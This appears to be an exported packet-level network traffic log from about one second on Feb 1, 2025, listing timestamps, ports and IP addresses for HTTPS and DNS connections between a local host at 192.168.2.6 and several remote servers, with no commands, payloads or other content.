Feb 1, 2025 21:59:23.543555975 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.546752930 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.546773911 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.546981096 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.547034025 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.547043085 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.550472975 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.550528049 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.550540924 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.554049969 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554064035 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.554074049 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554239988 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.554254055 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554266930 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554286003 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.554294109 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.554305077 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.554316044 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554327965 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.554676056 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554693937 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554730892 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.554738045 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.554764986 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.554811954 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555169106 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.555179119 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555430889 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555450916 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555489063 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.555496931 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555522919 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.555686951 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.555746078 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.555753946 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.557038069 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.557157040 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.557164907 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.560195923 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.560247898 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.560270071 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.563256979 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.563308954 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.563337088 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.566257954 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.566278934 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.566334009 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.566346884 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.566395044 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.566458941 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.566509008 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.566530943 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.569354057 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.569607019 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.569667101 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.569681883 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.569729090 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.572412014 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.573767900 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.573851109 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.573858976 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.573913097 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.575300932 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.575381994 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.575401068 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.577466011 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.577512980 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.577529907 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.579524040 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.579627991 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.579684019 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.579693079 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.579735994 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.581703901 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.583661079 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.583884001 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.583930016 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.583939075 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.583977938 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.583983898 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.584074020 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.584448099 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.584467888 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.584512949 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.584553957 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.584553957 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.584564924 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.586522102 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.588201046 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.588267088 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.588277102 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.592288971 CET	49908	443	192.168.2.6	142.250.185.97
Feb 1, 2025 21:59:23.592304945 CET	443	49908	142.250.185.97	192.168.2.6
Feb 1, 2025 21:59:23.596694946 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.596739054 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:23.596833944 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.597783089 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:23.597825050 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:23.597873926 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:23.598278046 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.598294973 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:23.598694086 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:23.598706961 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:23.644803047 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.644831896 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.644905090 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.644920111 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.644951105 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.645013094 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645068884 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.645076990 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645356894 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645381927 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645417929 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.645426989 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645442009 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.645613909 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.645664930 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.645673037 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.646023035 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.646044016 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.646079063 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.646085978 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.646111965 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.646500111 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.646558046 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.646567106 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.653589964 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.653626919 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.653690100 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.653702021 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.653732061 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.657273054 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.657346964 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.657356977 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.671706915 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.671736956 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.671802998 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.671814919 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.671828032 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.675626040 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.675698996 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.675717115 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.687074900 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.687102079 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.687151909 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.687164068 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.687197924 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.730726004 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.736180067 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736193895 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736247063 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.736255884 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736593962 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736618042 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736645937 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.736654043 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736680031 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.736855984 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.736912966 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.736921072 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737209082 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737227917 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737266064 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.737273932 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737298012 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.737365961 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737417936 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.737426996 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737808943 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737828016 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737871885 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.737879992 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.737907887 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.744638920 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.744721889 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.744733095 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.755844116 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.755871058 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.755924940 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.755934000 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.755961895 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.762800932 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.762885094 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.762893915 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.770302057 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.770323038 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.770417929 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.770430088 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.778292894 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.778815031 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.778824091 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.827558994 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.827580929 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.827619076 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.827631950 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.827644110 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.827786922 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.827858925 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.827867985 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828208923 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828228951 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828264952 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.828272104 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828315020 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.828428030 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828493118 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.828501940 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828542948 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.828871012 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828901052 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828958988 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.828965902 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.828979015 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.829005957 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.829031944 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.829041958 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.829310894 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.829370975 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.839396954 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.839421988 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.839473009 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.839485884 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.839515924 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.839540005 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.847218037 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.847287893 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.847296953 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.857634068 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.857656002 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.857729912 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.857741117 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.857781887 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.861304998 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.861397028 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.861406088 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.861624956 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.861777067 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.861850977 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.873758078 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.878714085 CET	53	49927	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.878798008 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.878864050 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.878874063 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.878988981 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:23.879280090 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.879311085 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:23.879376888 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.880017042 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:23.880033016 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:23.883650064 CET	53	49927	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.883744955 CET	53	49927	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.884511948 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.885013103 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.918122053 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.918174982 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.918185949 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.918195009 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.918231010 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.918262005 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.918268919 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.918308973 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.919573069 CET	49911	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.919586897 CET	443	49911	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.924537897 CET	53	49927	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:23.932967901 CET	49900	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:23.932982922 CET	443	49900	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:23.960355997 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.960381031 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:23.960463047 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.963402987 CET	49929	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:23.963413954 CET	443	49929	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:24.060480118 CET	49935	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.060504913 CET	443	49935	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.060627937 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.060656071 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.060667038 CET	49935	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.060714006 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.065592051 CET	49936	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.065612078 CET	443	49936	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.065836906 CET	49935	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:24.065848112 CET	443	49935	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:24.090039968 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.090342045 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.090368032 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.091449976 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.091521025 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.092566013 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.092633009 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.092891932 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.092900038 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.097510099 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.097718000 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.097733974 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.100878000 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.101083994 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.102102041 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.102186918 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.102390051 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.102396011 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.229017019 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.229070902 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.229283094 CET	49925	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.229300022 CET	443	49925	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.232914925 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.245258093 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.245342016 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.245399952 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.245722055 CET	49926	443	192.168.2.6	162.159.61.3
Feb 1, 2025 21:59:24.245738983 CET	443	49926	162.159.61.3	192.168.2.6
Feb 1, 2025 21:59:24.247006893 CET	53	49927	1.1.1.1	192.168.2.6
Feb 1, 2025 21:59:24.247077942 CET	49927	53	192.168.2.6	1.1.1.1
Feb 1, 2025 21:59:24.349736929 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.352370977 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.352391958 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.353461027 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.353524923 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.357009888 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.357081890 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.357424974 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.357434034 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.376244068 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.407776117 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.407819033 CET	443	49938	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.407932043 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.408202887 CET	49938	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.408215046 CET	443	49938	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.419327974 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.432971954 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.481169939 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.481241941 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.481364012 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.482671022 CET	49928	443	192.168.2.6	172.64.41.3
Feb 1, 2025 21:59:24.482688904 CET	443	49928	172.64.41.3	192.168.2.6
Feb 1, 2025 21:59:24.565283060 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.565812111 CET	443	49894	2.23.209.3	192.168.2.6
Feb 1, 2025 21:59:24.565876007 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.566844940 CET	49894	443	192.168.2.6	2.23.209.3
Feb 1, 2025 21:59:24.566859961 CET	443	49894	2.23.209.3	192.168.2.6
